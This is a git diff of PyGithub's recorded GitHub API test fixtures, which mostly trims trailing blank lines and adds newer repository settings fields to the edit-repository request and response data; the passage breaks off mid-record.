Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C9:204B:1540BC5:2C515EA:5A374B67'), ('date', 'Mon, 18 Dec 2017 05:00:23 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '100'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513573283')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"importing","commit_count":null,"status_text":"Importing...","authors_count":0,"import_percent":null,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} - diff --git a/tests/ReplayData/Repository.testDelete.txt b/tests/ReplayData/Repository.testDelete.txt index 321475bd63..841cd0b057 100644 --- a/tests/ReplayData/Repository.testDelete.txt +++ b/tests/ReplayData/Repository.testDelete.txt @@ -29,5 +29,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4985'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Thu, 23 Aug 2012 07:30:52 GMT')] - - diff --git a/tests/ReplayData/Repository.testDeleteSecret.txt b/tests/ReplayData/Repository.testDeleteSecret.txt index 7124aa4574..51dc3afe01 100644 --- a/tests/ReplayData/Repository.testDeleteSecret.txt +++ b/tests/ReplayData/Repository.testDeleteSecret.txt @@ -7,5 +7,3 @@ None None 204 [('Server', 'GitHub.com'), ('Date', 'Mon, 08 Mar 2021 05:16:00 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1615184024'), ('X-RateLimit-Used', '8'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'AFD4:3C6C:7E7FD:9D757:6045B310')] - - diff --git a/tests/ReplayData/Repository.testEditWithAllArguments.txt b/tests/ReplayData/Repository.testEditWithAllArguments.txt index d0d1e36fc9..acced5e475 100644 --- a/tests/ReplayData/Repository.testEditWithAllArguments.txt +++ b/tests/ReplayData/Repository.testEditWithAllArguments.txt @@ -4,10 +4,10 @@ api.github.com None /repos/jacquev6/PyGithub {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -{"has_wiki": false, "name": "PyGithub", "has_downloads": true, "has_issues": true, "homepage": "http://vincent-jacques.net/PyGithub", "private": true, "description": "Description edited by PyGithub", "has_projects": false, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true} +{"has_wiki": false, "name": "PyGithub", "has_issues": true, "homepage": "http://vincent-jacques.net/PyGithub", "private": true, "description": "Description edited by PyGithub", "has_projects": false, "allow_auto_merge": true, "allow_update_branch": true, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true, "is_template": true, "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '1109'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"749313ec2d171323deb61f9f4c85e84f"'), ('date', 'Sat, 26 May 2012 11:22:13 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"git_url":"git://github.com/jacquev6/PyGithub.git","private":false,"open_issues":16,"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Description edited by PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub", "has_projects": false, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true} +{"clone_url":"https://github.com/jacquev6/PyGithub.git","watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"git_url":"git://github.com/jacquev6/PyGithub.git","private":false,"open_issues":16,"mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Description edited by PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub", "has_projects": false, "allow_auto_merge": true, "allow_update_branch": true, "allow_forking": true, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "delete_branch_on_merge": true, "is_template": true, "use_squash_pr_title_as_default": true, "squash_merge_commit_title": "PR_TITLE", "squash_merge_commit_message": "COMMIT_MESSAGES", "merge_commit_title": "PR_TITLE", "merge_commit_message": "PR_BODY", "web_commit_signoff_required": true} https PATCH @@ -18,4 +18,4 @@ None {"name": "PyGithub", "description": "Python library implementing the full Github API v3"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c1328d95af7d85267acb5754968b2c0b"'), ('date', 'Sat, 26 May 2012 11:22:13 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} +{"clone_url":"https://github.com/jacquev6/PyGithub.git","watchers":13,"updated_at":"2012-05-26T11:22:13Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T10:01:38Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} diff --git a/tests/ReplayData/Repository.testEditWithDefaultBranch.txt b/tests/ReplayData/Repository.testEditWithDefaultBranch.txt index 88a013c1e7..0b98640355 100644 --- a/tests/ReplayData/Repository.testEditWithDefaultBranch.txt +++ b/tests/ReplayData/Repository.testEditWithDefaultBranch.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('content-length', '1264'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '4971'), ('server', 'nginx'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4493662efd70c37f486a910d29ef99c1"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 03 Nov 2012 08:41:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"master_branch":"master","watchers":97,"pushed_at":"2012-11-03T08:25:58Z","watchers_count":97,"forks":27,"svn_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"open_issues":11,"open_issues_count":11,"url":"https://api.github.com/repos/jacquev6/PyGithub","updated_at":"2012-11-03T08:41:07Z","permissions":{"push":true,"pull":true,"admin":true},"default_branch":"master","html_url":"https://github.com/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","language":"Python","has_downloads":true,"ssh_url":"git@github.com:jacquev6/PyGithub.git","size":256,"mirror_url":null,"fork":false,"full_name":"jacquev6/PyGithub","forks_count":27,"name":"PyGithub","created_at":"2012-02-25T12:53:47Z","git_url":"git://github.com/jacquev6/PyGithub.git","homepage":"http://vincent-jacques.net/PyGithub","has_issues":true,"private":false,"id":3544490,"network_count":27,"has_wiki":true} - diff --git a/tests/ReplayData/Repository.testEditWithoutArguments.txt b/tests/ReplayData/Repository.testEditWithoutArguments.txt index 66ea6774f2..871a1d8773 100644 --- a/tests/ReplayData/Repository.testEditWithoutArguments.txt +++ b/tests/ReplayData/Repository.testEditWithoutArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4956'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"97977b426859a02f4d2a3fa4764b1a8e"'), ('date', 'Sat, 26 May 2012 11:21:43 GMT'), ('content-type', 'application/json; charset=utf-8')] {"description":"Python library implementing the full Github API v3","full_name":"jacquev6/PyGithub","has_wiki":false,"has_issues":true,"updated_at":"2012-05-26T10:01:38Z","forks":2,"mirror_url":null,"homepage":"http://vincent-jacques.net/PyGithub","ssh_url":"git@github.com:jacquev6/PyGithub.git","open_issues":16,"fork":false,"svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-05-26T10:01:38Z","size":412,"html_url":"https://github.com/jacquev6/PyGithub","private":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"name":"PyGithub","has_downloads":true,"language":"Python","watchers":13,"git_url":"git://github.com/jacquev6/PyGithub.git","id":3544490,"permissions":{"admin":true,"pull":true,"push":true},"created_at":"2012-02-25T12:53:47Z"} - diff --git a/tests/ReplayData/Repository.testGetArchiveLink.txt b/tests/ReplayData/Repository.testGetArchiveLink.txt index 192f40829a..9430c4e4e8 100644 --- a/tests/ReplayData/Repository.testGetArchiveLink.txt +++ b/tests/ReplayData/Repository.testGetArchiveLink.txt @@ -40,5 +40,3 @@ None None 302 [('status', '302 Found'), ('x-ratelimit-remaining', '4987'), ('x-content-type-options', 'nosniff'), ('expires', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('location', 'https://nodeload.github.com/jacquev6/PyGithub/tarball/develop'), ('cache-control', 'public, must-revalidate, max-age=0'), ('date', 'Sat, 08 Sep 2012 11:03:01 GMT'), ('content-type', 'text/html;charset=utf-8')] - - diff --git a/tests/ReplayData/Repository.testGetAutolinks.txt b/tests/ReplayData/Repository.testGetAutolinks.txt index 92e5a8ea58..3eeadfec20 100644 --- a/tests/ReplayData/Repository.testGetAutolinks.txt +++ b/tests/ReplayData/Repository.testGetAutolinks.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 02 Nov 2021 13:01:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4d453f5f31fb634e68e615083db0c61dc2d1925cd6f16586a81b24e2369872ba"'), ('X-OAuth-Scopes', 'admin:repo_hook, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2021-11-09 12:40:40 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1635859633'), ('X-RateLimit-Used', '56'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C11A:B2A9:62722:A8B2E:618136B3')] [{"id":209614,"key_prefix":"DUMMY-","url_template":"https://github.com/PyGithub/PyGithub/issues/"},{"id":209611,"key_prefix":"TEST-","url_template":"https://github.com/PyGithub/PyGithub/issues/"}] - diff --git a/tests/ReplayData/Repository.testGetBranch.txt b/tests/ReplayData/Repository.testGetBranch.txt index 8c72d6a1f5..8c6af2d44d 100644 --- a/tests/ReplayData/Repository.testGetBranch.txt +++ b/tests/ReplayData/Repository.testGetBranch.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('content-length', '1679'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b604c4203d816dfb31c48acf4171ed76"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 08 Sep 2012 12:06:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/develop","html":"https://github.com/jacquev6/PyGithub/tree/develop"},"commit":{"sha":"03058a36164d2a7d946db205f25538434fa27d94","author":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"commit":{"message":"Commit statuses (issue #67)","author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T04:41:15-07:00"},"comment_count":0,"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/03058a36164d2a7d946db205f25538434fa27d94","tree":{"sha":"b1b660dc63a2de976b7c5aa1e303adce299bbeb8","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/b1b660dc63a2de976b7c5aa1e303adce299bbeb8"},"committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-09-08T04:41:15-07:00"}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/03058a36164d2a7d946db205f25538434fa27d94","parents":[{"sha":"f109c644fddee5512f8e88a4a22d9c3aac68a306","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f109c644fddee5512f8e88a4a22d9c3aac68a306"}],"committer":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","url":"https://api.github.com/users/jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"}},"name":"develop"} - diff --git a/tests/ReplayData/Repository.testGetComments.txt b/tests/ReplayData/Repository.testGetComments.txt index 61081debc4..0fde6a59b1 100644 --- a/tests/ReplayData/Repository.testGetComments.txt +++ b/tests/ReplayData/Repository.testGetComments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '4307'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2664cb68cf94b65a884d6867aa13e7d2"'), ('date', 'Sun, 27 May 2012 06:42:01 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T08:46:09Z","position":null,"body":"probably a noob question: does this completion refer to autocompletion in IDE's/editors? \nI have observed that this is pretty erratic sometimes. I'm using PyDev+Eclipse.\nFor example, in the tutorial from the readme, `g.get_u` gets autocompleted correctly, but `g.get_user().get_r` (or any method or attribute applicable to NamedUsers/AuthenticatedUser, really) does not show autocompletion to `g.get_user().get_repo()`. Is that by design? It makes exploring the library/API a bit cumbersome. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347033","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T08:46:09Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347033,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347033"},{"updated_at":"2012-05-18T09:03:40Z","position":null,"body":"No, it has nothing to do with auto-completion in IDEs :D\n\nGithub API v3 sends only the main part of objects in reply to some requests. So, if the user wants an attribute that has not been received yet, I have to do another request to complete the object.\n\nYet, in version 1.0 (see the milesone), my library will be much more readable for IDEs and their auto-completion mechanisms, because I am giving up the meta-description that I used until 0.6, and I'm now generating much more traditional code, that you will be able to explore as if it was written manually.\n\nIf you want to take the time to open an issue about auto-completion in IDEs, I'll deal with it in milestone 1.0.\n\nThanks !","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347083","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T08:59:28Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1347083,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347083"},{"updated_at":"2012-05-18T10:55:55Z","position":null,"body":"Ah, thanks for the clarification. :blush:\n\nI made issue #27 for the autocompletion. I already suspected something like this meta-description magic, since I tried to read some of the code and it was pretty arcane. I attributed that to my pythonic noobness, though. Thank you. ","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1347397","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-18T10:54:23Z","path":null,"line":null,"user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":1347397,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1347397"},{"updated_at":"2012-05-22T18:49:34Z","position":null,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/comments/1362000","commit_id":"6945921c529be14c3a8f566dd1e483674516d46d","created_at":"2012-05-22T18:49:34Z","path":"codegen/templates/GithubObject.MethodBody.UseResult.py","line":26,"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"id":1362000,"html_url":"https://github.com/jacquev6/PyGithub/commit/6945921c529be14c3a8f566dd1e483674516d46d#commitcomment-1362000"}] - diff --git a/tests/ReplayData/Repository.testGetCommits.txt b/tests/ReplayData/Repository.testGetCommits.txt index e4cbdbf659..940d1832a6 100644 --- a/tests/ReplayData/Repository.testGetCommits.txt +++ b/tests/ReplayData/Repository.testGetCommits.txt @@ -30,4 +30,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('content-length', '45317'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"b341665cd46d642b2e6045772eb3278b"'), ('date', 'Sun, 27 May 2012 06:46:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/378558f6cac6183b4a7100c0ce5eaad1cfff6717","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"378558f6cac6183b4a7100c0ce5eaad1cfff6717","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","sha":"58b4396aa0e7cb72911b75cb035798143a06e0ee"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:14:56-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/378558f6cac6183b4a7100c0ce5eaad1cfff6717","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:14:56-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/980bf3f66b3cbeec03a37db5263cbbc883b54681","sha":"980bf3f66b3cbeec03a37db5263cbbc883b54681"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"58b4396aa0e7cb72911b75cb035798143a06e0ee","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","sha":"a3be28756101370fbc689eec3a7825c4c385a6c9"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T23:30:43-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","message":"Remove totos, add them as github.com issues","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T23:30:43-07:00"},"tree":{"url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/202a101db80163b980fff6ae1ccebd8e985778e1","sha":"202a101db80163b980fff6ae1ccebd8e985778e1"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"jacquev6","id":327146},"sha":"a3be28756101370fbc689eec3a7825c4c385a6c9","parents":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3d6bd49ce229243fea4bb46a937622d0ec7d4d1c","sha":"3d6bd49ce229243fea4bb46a937622d0ec7d4d1c"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-12T15:09:06-07:00"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/a3be28756101370fbc689eec3a7825c4c385a6c9","message":"Publish version 0.4","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent 